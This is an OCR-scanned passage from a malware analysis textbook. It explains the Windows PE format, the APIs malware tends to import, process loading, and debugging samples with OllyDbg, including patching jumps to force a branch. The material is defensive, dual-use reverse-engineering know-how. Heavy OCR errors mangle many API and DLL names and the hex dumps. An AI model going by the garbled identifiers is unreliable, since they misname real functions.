text 0x1000 — 0x1000 0x200 0x200 CODE_EXECUTE READ|
.rdata  (x1000 0x2000 0x200 0x400 INITIALIZED READ
MElE. . anon. . OR3ER . Tha0g _0x600  DATA _READ WRITE

Figure 4: Example of a section table

And these fields are used for the following:

e wame: The name of the section (8 bytes max).

® virtualaddress: The pointer to the beginning of the section in memory
(relatively to the start of the file). These types of addresses used to be called
RVA addresses.

e virtualsize: The size of a section (in memory).

® sizeofrawbata: The size of a section (on the hard disk).

® pointerTorawbata: The pointer to the beginning of the section in the file on
the hard disk (relatively to the start of the file). These types of addresses
used to be called offsets.

® characteristics: Memory protection flags (execute, reap, and wriTe).



PE+ (x64 PE)

You may be thinking now that x64 PE files have all fields with 8 bytes compared
to 4 bytes in x86 PE files. But the truth is that PE+ header is very similar the
good old PE header with very few changes as follows:

magease: It is 8 bytes instead of 4 bytes.

Baseofbata: This was removed from the optional header.

others: Some other fields, such

dS SizeOfHeapCommit, SizeOfHeapReserve, SizeOfStackReserve, and sizeofstackcommitare
now 8 bytes instead of 4 bytes.

magic: This value changed from exies (representing x86) to exzes
(representing x64).

As PE files stayed with the maximum 2 GB size, and all other RVA addresses,
il’lClUdiI’lg AddressOfEntrypoint, StélYEd at 4 bytes.



PE analysis tools

After we have understood the PE Format, we need to be parse different PE Files
(EXE files) and read all of their header values. Luckily we don't need to do this
ourselves, there are lots of different tools that can help us read PE header
information easily. The most well-known free tools to analyze a PE file header
are as follows:

e PEID:

7€ PED v0.95 _ - |0] =i
File: | G:\chavl.exe [l

Entrypoint: | 000306C0 EP Section: | LIP%1 .
File Offset: [00010ACO First Bytes: |60,BE,00,30 | =
Linker Info: | 9.0 Subsystemn: | Win32 GLI o

||_|F'?'i 0.89.6-1.02 ) 1.05 - 2,90 - Markus & Laszlo

Mulki Scan Task, Yiewer Opkions About Exit

¥ stay on top w3 | | -3

Figure 5: PEID Ul

This is the most well-known tool for analyzing PE headers. It's a basic tool
but it has the ability to detect the compiler (Visual Studio for example) or
detect the packer that is used to pack this malware using static signatures
stored within the application (will be covered in more details in chapter 3,
Unpacking, Decryption, and Deobfuscation)

o CFF Explorer:



CFF Explorer Y11 - [Lab06-01.exe]

Fil Settings 7

H

o

}

/" LablG-01 e

A FFile: Lab06-01.exe
— 3 Dos Header

3 NtHeadsrs

] File Headzr

[zl (pionel Heads

— (&l Section Headers [+
— ) lnport Diectory
— 'Ehddress Converler

= "lHex Editor
— % Identier
— '*1-, Import Adder

— % Rebuider
— '*3; Resource Editor
— & UPX Uty

[2] Data Diactares |1

— '*‘l-, Dependency Walker

— "llluick Disassembler

Name Yitual Size  [Vittual Address |RawSke  |Rawfddress |Reloc Address |Linenumbers | Relocations ... | Linenumber... | Characteristics
Biyte[d] Oword Dword Dword Dword Dword Dward Word Word Dword
et (0004958 00001000 (0005000 0OOOLOO0 | (00OOOOO  O0O0O0O0 0000 (oo 60000020
It 0000080C | 00006000 Qoooioon  (0000GODO 00000000~ 00000000~ 0040 {oon 40000040
data (0003E48 00007000 (0003000 0OOOROO0  |000OOOOC  00OOCOO0 0000 (oo 0000040
EEEICE-

Offget | 01 2 345 67 8 % 4B CDETF]| bscil

00000000 | 4D 54 90 00 03 00 00 00 04 00 00 00 FF FF 00 00 | MZL.1...1...vy.

00000010 | BB 00 00 00 00 OO OO OO 40 DD OO QO QD OOD OO OO |,. ... ... it

Q0000020 (00 00 00 00 OO OO DD OO OO OO OO QD OQDOOD OO OO |................
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00000060 | 74 20 62 65 20 72 75 6E 20 69 6E 20 44 4F 53 20 | t.be.run.in.DOS.

00000070 | 6D 6F 64 65 2E OD 0D 0& 24 00 00 00 00 00 00 00 |mode....§.......

00000080 | C1 4B &D 37 85 CA C3 64 85 CA C3 64 85 CA C3 64 | de-T0ERd1REAIERd

00000090 | B3 EC CA 64 84 CA C3 64 06 D6 CD 64 BB CA C3 64 | *ikd|ERd)0id|EEd

000000AD | B3 EC CY 64 &8 CA C3 64 85 Ch C3 64 81 Ch C3 64 | *ibd EEdIERdIEEd

000000E0 | 85 CA C2 64 &9 CA C3 64 E7 DS DO 64 87 CA C3 64 | 1EAd6EAAcORdIEd

0000DOCO | B3 EC D6 64 84 CA C3 84 52 £9 63 69 85 CA C3 64 | *10d1ERdRich ERd

Qooonooo (oo oo oo oo OO QD OQD OO OOODODOODODODOOOO |l

QODOO0ED {00 00 00 00 00 0O 00 00 S0 4500 00 4C 0L O3 00 |........ PE. LII.

Q00000FD {72 34 47 4D 00 00 00 00 00 00 00 00 ED OO OF 01 | rdGH........ all

(0000100 (0B 01 06 00 00 50 00 00 00 50 00 00 00D OO OO OO |anb. BB . ...

gooootin(so to oo 00 00D 100D OO OO GO ODOODOD OO 4000 (mh...01..." ... .&

goooniz2o (oo to oo oo OO 100D OO 040000 OODODOODOOOD |00 ...

00000130 {04 00 00 00 00 0O 00 0O 00 BO OO OO 0D 10 OO OO |0........ e b

Qooo0i4n (oo oo oo 00D O3 OO QD OO OO OO 10D QO ODAOD OO OO | ... .0 .00

00000150 (00 00 10 00 00 10 00 00 00 00 0O 00 10 00 00 00 [ DY I

Q0000160 (00 DO OO OO OO OO QD OO C4dedOOOD3COOOONOD |....... ..o
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Figure 6: CFF Explorer UI

This a relatively a new and more advanced tool than PEiD created by
FireEye. This tool parses more information from the EXE File and as well,
able to detect the compiler/packer that's used on this PE File (and it's more
accurate than PEiD)



In the next section, we will further our knowledge and explore the nitty-gritty of
static and dynamic linking.



Static and dynamic linking

In this section, we will cover the code libraries that were introduced in early
operating systems to speed up the software development and improve the the
ability of cooperation between different teams within a company to produce a
software.

These libraries were a known target for malware families as they can be easily
injected inside different applications in their memory and impersonate them to
disguise their malicious activities.



Static linking

With the increasing number of applications on different operating systems, the
developers found that there were a lot of code reuse and rewriting of the same
logic over and over again to support certain functionalities in their programs.
And because of that, the invention of code libraries came in handy:

Static
libraries

Figure 7: Static linking from compilation to loading

Code libraries (.1ib) include lots of functions to be copied to your program when
required, so there is no need to reinvent the wheel and rewrite these functions
again (excluding rewriting the code for the mathematical operations such as sin
or cos for any application that deals with mathematical equations). This is done
by a program called a linker, which basically copies the needed functions into a
program and generates the executable file with all the needed functions inside.
This process is called the static linking.



Dynamic linking

Statically linked libraries lead to having the same code copied over and over
again inside each program that might need it, which in turn leads to the loss of
hard disk space and increases the size of the executable files.

In modern operating systems such as Windows and Linux, there are hundreds of
libraries, and each one has thousands of functions for UI, graphics, 3D, internet

communications, and more. Because of that, static linking appeared limited and
to mitigate this issue, dynamic linking emerged. It allowed programs to expand

more and become more functionality-rich, as we see today:

’ Shared/Dynamic libraries |

Application file

Application file Application code
Dynamic library Dynamic library
references references

Figure 8: Dynamic linking from compilation to loading

Dynamic linking works in the following way: instead of storing the code inside
each executable, any needed library is loaded beside each application in the
same virtual memory, so that this application can directly call the required
functions. These libraries are named Dynamic Link Libraries (DLLs), as you
can see in the previous figure.



Dynamic link libraries

DLL is a complete PE file that includes all the headers, sections, and most
importantly, the export table.

The export table includes all the functions that this library exports. Not all
library functions are exported as some of them are for internal use. But the
functions that are exported can be accessed through its name or

its ordinal number (index number), and they are called Application
Programming Interfaces (APIs).

Windows provides lots of libraries for Windows programmers to access its
functionality, and some of these libraries are as follows:

® kernels2.d11: This includes the basic and core functionality for all programs,
including reading a file and writing a file.

® ntd11.d11: This exports Windows native APIs; kerne1s2.d11 uses this library as
a backend for its own functionality. Some malware writers try to access
undocumented APIs inside this library to make it harder for reverse
engineers to understand the malware functionality, such as 1driocaddii.

® users2.d11: This library is used mainly for the Windows GUIL.

® advapis2.dil: This library is used mainly for working with the registry and
encryption.

® she1132.d11: This is responsible for shell operations such as executing files
and opening files.

e ws2_32.d11: All functionality related to internet sockets and network
communications (very important for understanding custom network
communication protocols).

e wininet.d11: HTTP and FTP functions, including proxies and more.

® urlmon.d1l: This is an add-on to wininet.d11 that's used for working with
URLSs, web compression, downloading files, and more.

® gdiz2.d11: This is used for simple graphics functionality.



Application programming interface

Without going into the details of the actual meaning of this name, all you really
need to know in malware analysis is that APIs are those exported functions in
any library that any application can call or interact with.

APIs can be exported from an .exe file as well as a library, and this program (.exe
file) can run as a program, be loaded as a library, or called from other libraries
loaded by the program while running.

Each program includes in its import table the name of each required library and
the list of APIs required from this library. And in each library, the export table
contains the API name, the API ordinal number, and the RVA address of this API
in the library.

0 Each API has an ordinal number, but not all APIs have a name.



Dynamic API loading

It's very common in malware code to obscure the name of the libraries and the
APIs that they are using to hide their functionality from static analysis using
what's called dynamic API loading.

Dynamic API loading is supported by Windows (and other operating systems as
well) using two very well-known APIs :

® LoadLibrarya: This API loads a dynamic link library into the virtual memory
of the calling program and returns its address (variations
include LoadLibraryW, LoadLibraryExA, and LoadLibraryExw).

® cetprocaddress: This API gets the address of an API given its name and the
address of the library that contains this API.

By calling these two APIs, the malware is able to access APIs that are not
written in the import table and are totally hidden from the eyes of the reverse
engineer.

In some advanced malware, the malware author also hides the name of the
libraries and the APIs in the strings of the malware using encryption or other
obfuscation techniques, which will be covered in a later chapter.

These APIs are not the only APIs that can allow dynamic API loading; there are
others, such as cetmodulenandie, hard disk, and also other techniques that will be
explored later in chapter 7, Handling Exploits and Shellcode.



Using PE header information for
static analysis

Now, as we have covered PE header, dynamic link libraries, and APIs, the
question that arises is How can we use this information in our static analysis?
This totally depends on the questions that you want to answer, and that is what
we will cover right now.



How to use PE header for incident
handling

If an incident occurs, static analysis of the PE header can help you answer
multiple questions in your report. Here are the questions and how a PE header
can help you answer them:

¢ Is this malware packed?

PE header can help you to identify if this malware is packed. Packers
tend to change sections names from the familiar names(. text, .data,
and .rsrc) to other names, such as uvex1 or others.

Also, they mostly hide most of the APIs in the import table. So, you
will see the import table contains very few APIs, and that could be
another sign as well. We will cover unpacking detail in chapter

3, Unpacking, Decryption, and Deobfuscation.

¢ Is this malware a dropper or a downloader?

It's very common to see droppers having an additional PE file inside
their resources. Using tools such as Resource Hacker can detect this
PE file (or even a ZIP file that contains it), and you will be able to
find the dropped backdoor.

For downloaders, it's common to see an API named uripownloadToFileA
from a DLL named urimon.d11, which a Windows library and an API to
execute the sheiiexecuteafile. There are other APIs as well that do the
same, but these two APIs are the most known ones and the easiest to
use for malware authors.

¢ Does it connect to the Command & Control Servers (C&C, or the
attacker website)? And how?

There are different APIs that can tell you that this malware connects
to the internet, such assocket, send, and recv and they can tell you if
they do connect to a server or if they listen to a port such as 1isten



and connect.

Some APIs can tell you even the protocol that they are using such
as HrTPsendrequestA OF FTpputFile, and they both are from wininet.d11.

e What functionalities does this malware have?

Some APIs are related to file searching, such as rindrirstrilea, which
could be a hint that this malware perhaps is ransomware.

It could use APIs like Process32First, Process32Next, and
createremoteThread, Which could mean a process injection functionality,
or using Terminateprocess, which could represent that this malware may
terminate other applications, such as antivirus programs or malware
analysis tools.

If you feel you don't understand what all of these APIs are, you don't need to
worry, as we will cover all of these in detail in the later chapters. This section
gives you hints and ideas to think about your next static malware analysis and to
know what you would be searching for in a PE header.

Your vision is always the main question that you should answer in your report,
which we covered in chapter 1, A Crash Course in CISC/RISC and Programming
Basics. And perhaps a basic static analysis for the strings and the PE header
would be enough to help your case.



How to use a PE header for threat
intelligence

We have covered how a PE header could help you answer questions related to
incident handling or a normal tactical report. Now, we will cover the following
questions related to threat intelligence and how a PE header can help you answer
them:

e When was this sample created?

Sometimes, it's a very important for threat researchers to know how
old the sample is. Is it an old sample or a new variant, and when did
the attackers actually start to plan their attacks in the first place.

PE header includes a value called timepatestamp in the file header. This
value includes the exact date and time this sample was compiled,
which can help answer this question and help threat researchers build
their attack timeline.

e What's the country of origin of these attackers?

Was it from the US? From Russia? China? Or even from Iran? That
can answer a lot about attacker's motivations.

One of the ways to answer this question is again Timebatestamp, looking
at many samples and their compile time. You can see that in some
cases, they fall into 9-5 jobs for the Russian time-zone or the Chinese
time-zone. In some cases it is possible to identify the attackers'
country of origin, as can be seen in the following screenshot:
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Figure 9: Patterns in compilation timestamps

o [s it a stolen certificate? Are all these samples related?



One of data directory entries is related to the certificate. Some
applications are signed by their manufacturer to provide trust for the
users and the operating system that this application is safe. But these
certificates sometimes get stolen and used by different malware
actors (gangs).

For all the malicious samples that use a specific stolen certificate, it's
likely that all of them are produced by the same actor. Even if they
have a different purpose or target different victims, they're likely to
be different activities by the same attackers.

Here are some of the questions that the static analysis of a PE header can help
you to answer. As we said earlier, a PE header is an information treasure trove if
you look into the details hiding inside its fields. We are only giving hints and
ideas; there is so much more to get out of it, and it's for you to explore.



PE loading and process creation

Everything that we have covered so far is purely the PE file format on the hard
disk, we didn't cover how this PE file changes in memory while getting loaded
and the whole execution process of these files. In this section, we will cover how
Windows loads a PE file, executes it, and makes it a live program.



Basic terminology

To understand PE loading and process creation, we have to cover some basic
terminology, such as process, thread, Thread Environment Block (TEB),
Process Environment Block (PEB), and others before we dive into the flow of
loading and executing an executable PE file.



What's process?

A process is not just a representation of a running program in memory, but is
also basically the container of all the information of the running application.
This container encapsulates all the virtual memory for that process (each process
in Windows x86 has a virtual memory of 4 GB and on x64, it is 16 TB) and their
equivalent physical memory. All the loaded DLLs, opened files, opened sockets,
the list of threads running in this process (we will cover this later), the process
ID, and much more.

A process is basically a structure in the kernel that holds all of this information
inside, working as an entity to represent this running executable file, as shown in
the following diagram:
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Figure 10: Example of a 32-bit process memory layout

Next, Let's compare the various aspects of virtual memory and physical memory
in the next section.



Virtual memory to physical memory
mapping

What makes modern operating systems very different from MS-DOS and
operating systems alike, makes them able to simultaneously running multiple
processes at the same time is the invention of virtual memory.

Virtual memory is like a holder for each process. Each process has its own
virtual memory space for this process, its related libraries, and all memory
allocated for this process from the stack, heap, and private memory.

This virtual memory has a mapper to the equivalent physical memory. Not all
virtual memory pages are mapped to physical memory, and each mapped one has
its own permission (Reap, READWRITE, READEXECUTE, OT' READWRITEEXECUTE), as shown in the
following diagram:
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Figure 11: Mappings between physical and virtual memory

Virtual memory allows you to create a security layer between one process and
another and allows the operating system to manage different processes and
suspend a process to run another easily.



Threads

A process without a thread running is like a dead body. A thread is not only the
entity that represents an execution path inside a process (and each process can
have one or more threads running simultaneously), but also a structure in the
kernel that saves the whole state of that execution, including the registers, stack
information, and the last error.

Each thread in Windows has a small time frame to run before it gets stopped to
resume another thread (as the number of processor cores is much smaller than
the number of threads running in the entire system). When Windows changes the
execution from one thread to another, it takes a snapshot of the whole execution
state (registers, stack, instruction pointer, and so on) and saves it in the thread
structure to be able to resume it again from where it stopped.

All threads running in one process share the same resources of that process,
including the virtual memory, open files, open sockets, DLLs, mutexes, and
others, and they synchronize between each other on accessing these resources.

Each thread has its own stack, instruction pointer, code functions for error
handling (SEH, which will be covered in chapter s, Bypassing Anti-Reverse
Engineering Techniques), its own thread ID, and thread information structure
called TEB (which will be covered soon), as shown in the following figure:
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Figure 12: Example processes with one and multiple threads

Next, we will talk about the crucial data structures that is needed to understand

threads and processes. Let's venture.




Important data structures: TIB, TEB,
and PEB

The last information you need to understand related to processes and threads are
these data structures (TIB, TEB, and PEB). These structures are information
stored inside the process memory and accessible through its code. Their main
function is to include all the information about the process and each thread and
make them accessible to the code so that it can easily know the process filename,
the loaded DLLs, and other related information.

They are all accessible through a special segment register rs, like this:

|mov eax, DWORD PTR FS:[XX]
And these data structures have the following functions:

e Thread Information Block (TIB): Has some information about the
thread, including the list of functions that are used for error handling and
much more

¢ Thread Environment Block (TEB): Has more information about the
thread, including the thread ID and much more

¢ Process Environment Block (PEB): Includes information about the
process, such as the process name, process ID (PID), loaded modules (all
PE files loaded in the memory including the program itself and its DLLs),
and much more

Throughout the entire length of the book and the next section as well, we will
cover different information that is stored in these structures, which is used to
help the malicious code achieve its target.



Process loading step by step

Now that we know the basic terminology, we can now dive into PE loading and
process creation. We will look into it sequentially, as shown in the following
steps:

1.

Starting the program: When you double-click on a program in My
Computer, let's say calc.exe, Explorer.exe (the process of My Computer), it
calls an API called createprocess, which gives the operating system the
request to create this process and start the execution.

Creating the process data structures: Windows then creates the process
data structure in the kernel (which is called eprocess) and sets a unique ID
for this process (processin), and sets the explorer.exe process ID as a parent
PID for the newly created caic.exe process.

Initialize the virtual memory: Then, Windows creates the process, virtual
memory and its representation of the physical memory and saves it inside
the EProcess structure, creates the PEB structure with all necessary
information, and then loads the main two DLLs that Windows applications
will always need, which are ntd11.d11 and kerne1s2.d11 (some applications run
on other Windows subsystems, such as POSIX, and they don't use
kernel32.d11).

Loading the PE file: After that, Windows starts loading the PE file (which
we will explain next), loading all the required third-party libraries (DLLs),
including all DLLs these libraries require, and makes sure to find the
required APIs from these libraries and save their addresses in the import
table of the loaded PE file so the code can easily access them and call to
them.

Start the execution: Last but not least, Windows creates the first thread in
the process, which does some initialization and calls to the PE file's entry
point to start the execution of the program.



PE file loading step by step

The windows PE loader follows these steps while loading an executable PE file
into memory (including dynamic link libraries):

1. Parsing the headers: Windows first starts with parsing the DOS header to
find the PE header and then parses the PE header (file and optional header)
to gather some important information:

® 1mageBase: 10 load the PE file (if possible) in this address in its virtual
memory.

® noofsections: T0 be used in loading the sections.

® sizeofimage: AS this will be the final size of the whole PE file after being
loaded in memory, this value will be used to allocate the space
initially.

2. Parsing section table: Using the noofsections field, it parses all the sections
in the PE file and makes sure to get all the necessary information, including
their addresses and sizes in memory (virtualaddress and virtualsize), as well
as the pointer and the size of the section on the hard disk for reading its
data.

3. Mapping the file in memory: Using sectionalignment, the loader copies all
the headers and then moves each section to new place using its virtualaddress
and virtualsize (lf VirtualAddress OI virtualSize are not aligned with
sectionalignment, the loader will align them first and then use them), as shown
in the following diagram:
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Figure 13: Mapping sections from disk to memory

4. Dealing with third-party libraries: In this step, the loader loads all the
required DLLs, going through this process again and again recursively until



all DLLs are loaded. After that, it gets the addresses of all the required APIs
and saves them in the import table of the loaded PE file.

. Dealing with relocation: If the program or any third-party library has a
relocation table (in its data directory) and is loaded in a different place than
its mageBase, the loader fixes all the absolute addresses in the code with the
new address of the program/library (with the new imagesase).

. Start the execution: In the last step, as in the process creation, Windows
creates the first thread, which executes the program from its EntryPoint.
Some anti-reverse engineering techniques can force it to start somewhere
else before, which we will cover in chapter 5, Bypassing Anti-Reverse
Engineering Techniques.



WOWG64 processes

You can now easily understand how a 32-bit process gets loaded in an x86
environment as well as a 64-bit process in an x64 environment. So, how about a
32-bit process in an x64 environment?

For this special case, Windows has created what's called the WOWG64 emulator.
This emulator consist of the following three DLLs:

® wow64.dll
® wow64cpu.dll

® wow64win.dll

These DLLs basically create a simulated environment for the 32-bit process,
which includes a 32-bit ntd11.d11 and a 32-bit kerne132.d11.

These DLLs, rather than connecting directly to the Windows kernel, call to an
API xseswitchTos4itMode, Which then switches to x64 and calls to the 64-bit
ntd11.d11, which communicates directly to the kernel, as shown in the following
diagram:
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Figure 14: WOW64 architecture

Also, WOW64-sandboxed processes (x86 processes running in x64
environment) introduced new APIs, such as 1swowsaprocess, which is used by
malware to identify if it's running as a 32-bit process in an x64 environment, or

in an x86 environment. And it introduced multiple new APIs as well specific for

WOW64 environment.

Loads




Dynamic analysis with
OllyDbg/immunity debugger

After we've explained processes, threads, and the execution of the PE files, now
it's time to start debugging a running process and understanding its functionality
through tracing over its code in the runtime.



Debugging tools

There are multiple debugging tools we can use, and here we will just give three
examples that are very similar in their Uls and actually have a lot of code in
common (at least two of them):

e OllyDbg: This is the most well-known debugger in the Windows platform,
and its UI has become the standard for most Windows debuggers:
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Figure 15: OllyDbg UI

e Immunity Debugger: This is basically a scriptable clone of OllyDbg, and



was created mainly for exploitation and bug hunting:
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Figure 16: Immunity Debugger Ul

e x64_dbg: This is a debugger for x86 and x64 executables with a very
similar (if not identical) interface to OllyDbg. It's also an open source
debugger:
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Figure 17: x64dbg Ul

We will cover OllyDbg 1.10 as it's the most common version of OllyDbg, and
most of the plugins run on this version.



How to analyze a sample with
OllyDbg

Ollydbg Ul interface is pretty simple and easy to learn. Here will cover the steps
and the different windows that can help you through your analysis:

1. Select a sample to debug: You can directly open the sample file from File |
Open and choose a PE file to open (it could be a DLL file as well, but make
sure it's a 32-bit sample). Or you can attach to a running process as follows:

Select process to attach o X
Process |Name  |Window Path &
10003228 | OthebEng C:\Program Files (x86)\Dropbox\Client\QtWebEngineProcess.exe

1000382 | OthebEng C:\Program Files (x86)\Dropbox\Client\QtWebEngineProcess.exe

524 | Drapbox(y C:\Program Files (x86)\Dropbox\Update\DropboxUpdate.exe

1002315 | GoogleCr, C:\Program Files (x86)\Google\Update\l.3.33.17\GoogleCrashHandler.exe

10001220 | viware-a Ca\Program Files (x86)\VMware\Wware Workstation\vmware-authd.exe

11704 | viwazre-h C:\Program Files (x86)\VMware\Wware Workstation\vmware-hostd.exe

{
{
{
{
10003204 | POWERENT | HardwareMoni torWindow C:\Program Files (x86)\Microsoft Office\root\Officeld\POWERPNT.EXE
{
{
{

J0002E74 |viwaee-t]viware-tray Main UI Window|C:\Program Files (x36)\VMware\VMware Workstation\vmware-tray.exe y

Attach | Cancel

Figure 18: OllyDbg attaching dialog window

2. CPU window: Your main window: This is the window that you spend
most of your debugging time in. This window includes the assembly code
on the top-left side, which has the ability to set breakpoints by double-
clicking on the address or modifying the program's assembly code.

You've also got the registers on the top-right side and you have the
ability to modify the registers at any given time (if the execution is
paused). You have on the bottom side the stack and the data in hex,
which you can also modify.



You can simply modify any data in memory in the following two
views:
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Figure 19: OllyDbg default window layout explained

3. Executable modules Window: There are multiple windows in OllyDbg
that would help you through your analysis, such as the Executable modules
window (you can access it through View | Executable modules) as shown in
the following screenshot:

ﬂ Executable modules E

Bage Size Entry [Name File version  |Path A

00400000 (00003000 |004010E0 | Levelld C:\Usersh\amrth'Documents\VirtualChlevelld.exe
6FC40000| 00090000 |6EC781B0|apphelp [10.0.17134.1 (WiC:\WINDOWS\SYSTEM32\apphelp.dll

74750000 | 000E0Q00 | 747606A0 | KERNEL32|10.0.17134.376 |C:\WINDOWS\System32\KERNEL32.DLL

T49E0000 | 000BFQOO00 | T4A15660 |msvert [7.0.17134.1 (WifC:\WINDOWS\System32\msvcrt.dll

77200000 | 001E4000 | 773AF350 | KERNELBA|10.0.17134.376 |C:\WINDOWS\System32\KERNELBASE.d11

776C0000| 00190000 ntdll |10.0.17134.228 |C:\WINDOWS\S5YSTEM32\ntdll.dll

(=]

., |

Figure 20: OllyDbg dialog window for executable modules

This window will help you see all the loaded PE files in this process'
virtual memory, including the malware sample and all libraries or
DLLs loaded with it. If you are attaching to a process, it may help
you see any injected malicious libraries (DLLs) inside this process
and its virtual address.

4. Memory map window: Also, you can allocated all memory inside the
process' virtual memory (allocated memory is the memory that has a
representation of it in the physical memory or its cache on the hard disk).
You can see what they represent, their memory protection (read, write,
and/or execute), and as well, you can dump any memory chunk from this
window, as shown in the following screenshot:



@ Memory map E@

Address [Size  |Owner |Section [Contains  |Type|Access |Initial|Mapped as A
(0400000 | 00006000 Priv|R¥ RW

(04E0000| 00OCS000 Map R R \Device\HarddiskVolume3\Windows\Syatem32\locale.nls
00€90000|0000B00C Priv|Ri RW

(0380000 |00002000 Priv|Ri GualRW

(038F000| 00001000 stack of thiPriv\RW GuaiRW

00470000|00003000 Priv|R¥ RW

6FC40000|00001000| apphelp PE header |ImagR RWE

6FC41000|00072000 | apphelp |.text  |code,exportilmag R RAE

6FCEBO00| 00002000 |apphelp |.data  |data Imag R RHE

FCBD000| 00003000 | apphelp |.idata |imports  |Imag)R RWE

6FCCO000|000L7000 | apphelp |.rsec  |resources  |Imag)R RWE

6FCD7000|00006000 | apphelp |.reloc |relocations|Imag R RAE

74750000|00001000 | KERNEL32 PE header |Imag|R RiE

74760000|00061000 | EERNEL32|.text  |code ImagRE  |RWE

74700000|00028000 | KERNEL32|.rdata |imports,expqImag R RWE v

Figure 21: OllyDbg memory map dialog window

5. Debugging the sample: In the Debug menu, you have multiple options to
run the program's assembly code from full execution until hitting a
breakpoint using Run, or just using F9.

The other option will be to just step over. Step over basically
executes one line of code. However, if this line of code is a call to
another function, it executes this function completely and stops just
after this function returns, which makes it different from Step

into, which goes inside the function and stops at the beginning of
it, as shown in the following screenshot:




Debug | Plugins  Options  Window  Help

Run F3
Pause F2
Restart Ctrl+F2
Close Alt+F2
Step into F7
Step over F3
Animate into Ctrl+F7
Animate over Ctrl+F3
Execute till return Ctrl+F9
Execute till user code Alt+F3

Figure 22: OllyDbg debug menu

It includes as well the ability to set hardware breakpoints and view
them, which we will cover later in this chapter.

6. There is much more: OllyDbg gives you the ability to modify the code of
the program; change its registers, state, memory; dump any part of the
memory; and save the changes of the PE file in memory back to the hard
disk for further static analysis if needed.



Types of breakpoints

To be able to analyze a sample and understand its behavior, you need to be able
to control its execution flow. You need to be able to stop the execution when a
condition is met, examine its memory, and alter its registers values and
instructions.

There are two types of interrupt breakpoints, which are discussed in the
following sections.



Step into/step over breakpoint

This breakpoint is very simple and allows the processor to execute one
instruction only from the program, before returning back to the debugger.

This breakpoint is done by modifying a flag in a register called er1ags. This
breakpoint could be detected by malware to detect the presence of a debugger,
which we will cover in the anti-reverse engineering tricks in chapter 5, Bypassing
Anti-Reverse Engineering Techniques.



INT3 breakpoint

This is the most common breakpoint and you can easily set this breakpoint by
double-clicking on the hex representation of an assembly line in the CPU
window in OllyDbg. You can see after a red highlight over the address of this
instruction, as shown in the following screenshot:

J04010EF| 8945 EC ICV DMOERD PTR 55: [EBP-14] ,EX
Bg 00000300 MOV ERAX, 30000
J04010F7 | 50 FUSH E&X

Figure 23: Disassembly in OllyDbg

Well, this is what you see through the debugger's UI, but what you don't see is
that the first byte of this instruction (exss in this case) has been modified to excc
(INT3 instruction), which stops the execution once the processor reaches it and
returns back to the debugger.

Once the debugger returns back on this INT3 breakpoint, it replaces the oxcc back
to exss and executes this instruction normally.

The problem of this breakpoint is that, if the malware tries to read or modify the
bytes of this instruction, it will read the first byte as oxcc instead of exss, which
can break some code or detect the presence of the debugger (which we will
cover in chapter 5, Bypassing Anti-Reverse Engineering Techniques ).



Memory breakpoints

Memory breakpoints can be used, not to stop on specific instructions, but to stop
when any instruction tries to read a specific part of memory or modifies it. This
type of breakpoint is done by modifying the memory protection of this page of
memory, either by making it non-accessible if the breakpoint is on accessing (or
reading) this memory page or read-only if the breakpoint is on modifying (or
writing) on this memory page.

They are accessible by right-clicking on Breakpoint | Memory, on
access or Memory, on write, as shown in the following screenshot:

Breakpoint > Toggle F2
Hit trace > Conditional Shift+F2
Run trace » Conditional log Shift+F4
New origin here Ctrl+Gray * Sl &
Go to > Memary, on access

Thread » Memary, on write

Follow in Dump >

Hardware, on execution
View call tree

F igutre.l §4E:OllyDrbg breakpoint menu

You may wonder why there is no memory on-execute using execute protection
for memory, and the reason is that execute protection wasn't enforced until
Windows 8. If you have your virtual machine running on Windows XP or
Windows 7, I will show you how to enforce this protection and how to create
memory breakpoints on execute in chapter 3, Unpacking, Decryption, and
Deobfuscation.

Another way many debuggers set a memory breakpoint on access is by adding
PAGE_GUARD (0x100) protection to the page's original protection and removing the
pace_cuArD Once the breakpoint is hit.



Hardware breakpoints

Hardware breakpoints are based on eight registers that are not accessible through
the user-mode code (through the program code), which are ore to or7.

These registers allow you to set a maximum of four breakpoints given specific
addresses for read, write, or execute of 1, 2, or 4 bytes, starting from the given
address. They are very useful as they don't modify the instruction bytes such as
INT3 breakpoints to set, and they are much harder to detect (as these registers
are not accessible for the program's assembly). However, they still could be
detected and removed by the malware, which we will discuss in chapter s,
Bypassing Anti-Reverse Engineering Techniques.

You can view them from the Debug menu by going to Hardware breakpoints, as
shown in the following screenshot:

Hardware breakpoints X
# Baze Size Stop on
1 | 004070F2 Execute Follow 1 Delete 1
2
3
4
Ok,

Figure 25: OllyDbg dialog window for hardware breakpoints



Modifying the program execution

To be able to bypass anti-debugging tricks, forcing the malware to communicate
with the C&C or even testing different branches of the malware execution, you
need to be able to alter the execution flow of the malware. Now, we will look at
different techniques to alter the execution flow and the behavior of any thread.



Patching—modifying the program's
assembly instructions

You can modify the code execution path by changing the assembly instruction.
You can change, for example, a conditional jump instruction to the opposite
condition, like in the following screenshot, and force the execution of a specific
branch that wasn't supposed to be executed:

00401074

. UF35 0Doooooa
B3 01000000
g845 ¥V

73| K58 02000000

"EB C2
OFBE4S F7
83F3 01

JNZ level(4.0040103D

MOV ERX
MOV BYTH

Assemble at 0040107A

X

JMP lewve

JMP SHOR
Movsx EA ¥ Filwith NOF's

Aszemble

Sl

Cancel |

(MP ERX,T
Figure 26: Working with assembly in OllyDbg




Change EFlags

Rather than modifying the code of the conditional jump instruction, you can
modify the results of the comparison before it by changing the er1ags registers.

On the top-right corner after the registers, you have multiple flags that you can
change. Each flag represents a specific result from any comparison (other
instructions change these flags as well). For example, zr represents if the two
values are equal or a register became zero. By changing the zr flag, you force
conditional jumps such as jnz and jz to jump to the opposite branch and force the
change of the execution path.



Modifying the instruction pointer
value

You can force the execution of a specific branch or any instruction by simply
modifying the EIP or the instruction pointer, and it could be done by right-
clicking on "New origin here".



Changing the program data

As you can change an instruction code, you can change the data values. With the
bottom-left view (the hexadecimal view), you can change bytes of the data by
right-clicking on Binary | Edit. And you can also copy/paste hexadecimal
values, as shown in the following screenshot:

B :: cooco00  (wov ek eveld o000 X
104010CB| 50 PUSH EAX

osonocc| Es e70o0000 (RN <MPusme{ ") |2 arrays are not

10401001 | 83C4 04 ADD ESE,¢ | LINICODE |

T e 15CIT HEX +00 |E% EE E% ;i 72 61 79 73 28 61 72 65 |
10402000(01 02 03 04|05 06 07 08 |[ I ]

10402002|09 00 03 02|07 05 09 08..0 [I.L
10402010{00 04 06 01|54 68 65 20| .IIThe | [ Keepsie
1047201732 20 61 72 72 61 79 73 2 array 0K Cancel
7412727120 6172 €5 20 6E 6F 74| are no

Figure 27: Data editing in OllyDbg



Debugging malicious services

